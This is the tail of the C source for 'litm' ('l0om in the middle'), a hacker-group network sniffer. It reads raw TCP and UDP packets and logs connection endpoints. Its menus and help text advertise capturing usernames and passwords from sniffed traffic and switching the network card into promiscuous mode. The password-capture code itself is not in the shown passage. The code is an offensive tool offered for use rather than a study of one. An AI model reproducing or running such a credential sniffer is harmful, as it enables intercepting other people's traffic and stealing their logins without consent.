    if(FD_ISSET(tcpfd, &rset)) {     /* do sniffing stuff for tcp */

      ip = (struct iphdr *)buf;
      tcp = (struct tcphdr *) (buf + sizeof(struct iphdr));
      nbytes = read(tcpfd, buf, sizeof(buf));
      err_handle(nbytes, "\t [-] cannot read - quit\n");

      i = 0;
      i = get_empty();
      if(i == -1) { 
	puts("\t [-] maximal connections reached - loop");
	continue;
      }
      
      j = 0;
      if(tcp->ack == 1 && tcp->fin == 0 && tcp->rst == 0 && tcp->syn == 0) {

        if(check(ip->saddr, ip->daddr, tcp->source, tcp->dest) == 1)  
	    continue;
       
	sniff[i].saddr = ip->saddr;
	sniff[i].daddr = ip->daddr;
	sniff[i].sport = tcp->source;
	sniff[i].dport = tcp->dest;
	sniff[i].protocol = IPPROTO_TCP;
	printf("%s <-> %s  sport (%d)  dport(%d) %s\n"
	       ,inet_ntoa(ip->saddr) 
               ,inet_ntoa(ip->daddr)
               ,ntohs(tcp->source)
               ,ntohs(tcp->dest) 
               ,"tcp");
      }
    }

    if(FD_ISSET(udpfd, &rset)) {     /* do sniffing stuff for udp */

      ip = (struct iphdr *)buf;
      udp = (struct udphdr *)(buf + sizeof(struct iphdr));
      nbytes = read(udpfd, buf, sizeof(buf));
      err_handle(nbytes, "\t [-] cannot read - quit\n");

      i = 0;
      i = get_empty();
      if(i == -1) {
	puts("\t [-] maximal connections reached - loop");
	continue;
      }
      
      if(check(ip->saddr, ip->daddr, udp->source, udp->dest) == 1)
	continue;
    
    /* lets hope this is an activ udp "connection" */
      
    sniff[i].saddr = ip->saddr;
    sniff[i].daddr = ip->daddr;
    sniff[i].sport = udp->source;
    sniff[i].dport = udp->dest;
    sniff[i].protocol = IPPROTO_UDP;
    printf("%s <-> %s  sport (%d)  dport (%d) %s\n"
	   ,inet_ntoa(ip->saddr)
	   ,inet_ntoa(ip->daddr)
	   ,ntohs(udp->source)
	   ,ntohs(udp->dest)
	   ,"udp");
    }
  }

  exit(0);
}

static void sig_stp(int sig)
{
  mkline();
  puts("\t [+] received SIGSTP - exiting");
  mkline();
  sleep(1);
  exit(0);
}

int check(u_int saddr, u_int daddr, int sport, int dport)
{
  int i;

  for(i = 0; i < MAXCON; i++) {
    if(sniff[i].saddr == saddr &&
       sniff[i].daddr == daddr &&
       sniff[i].dport == dport)
      return(1);                      /* the same */
    if(sniff[i].saddr == daddr &&
       sniff[i].daddr == saddr &&
       sniff[i].dport == sport)       /* server answer */
      return(1);
  } 
  return(0);           /* not in list */
}

int get_empty(void)  /* return index of empty structur */
{
  int i;

  for(i = 0; i < MAXCON; i++)
    if(sniff[i].saddr == 0x00)
      return(i);   

  return(-1);
}

void err_handle(int value, char *mess)
{
  if(value < 0) {
    fprintf(stderr, mess);
    exit(-1);
  }
}

void ask_sniff(void)
{
  puts(" 
\t [!] enter what to sniff:\n
\t 20) sniff client side only
\t 21) sniff serverside only
\t 22) sniff both sides
");
}

void fflushscr(void)
{
  int i;
  for(i = 0; i < 80; i++) printf("\n");
  puts("\033[d");
}

void mkline(void)
{
  puts("\t --------------------------------------------------");
}

void start(void) 
{
  puts("\t choose what u want to do:
\t 1) sniff established connections
\t 2) sniff for new connections -> get pwds
\t 3) make short netmap with sniffed traffic");
}

void help(void)
{
  puts("\t [#] help menue

\tthis program is interactiv.
\tjust start it like this:
\t./litm
\tand follow the program.
\tto break a sniffing action [ENTER]   {on keyboard}
\tto start an action         [STRG+C]  {SIGINT}
\tto QUIT the program        [STRG+Z]  {SIGSTP}
\tu also can choose the passiv mode- sniffes only for 
\tusernames and passwords [not interacitv- just sit back].
\tto switch this mode on:
\tlitm -p || litm --passiv

\tu should switch on promisc mode on ur ethernet card:

\tifconfig eth0 promisc

\tthats all folks.
");
}

void header(void) 
{
  puts("
\t ----------------------------------
\t |EXCLUDED-TEAM [www.excluded.org]|
\t ----------------------------------

\t litm V.1.3   -  l0om in the middle  -l0om\n");
}


/*
########################################
#                                      #
#CAUTENTION:                           #
#--------------------------------------#
#|YaCP - Yast another CyberPunk ->l0om|#
#--------------------------------------#
#                                      #
########################################
*/









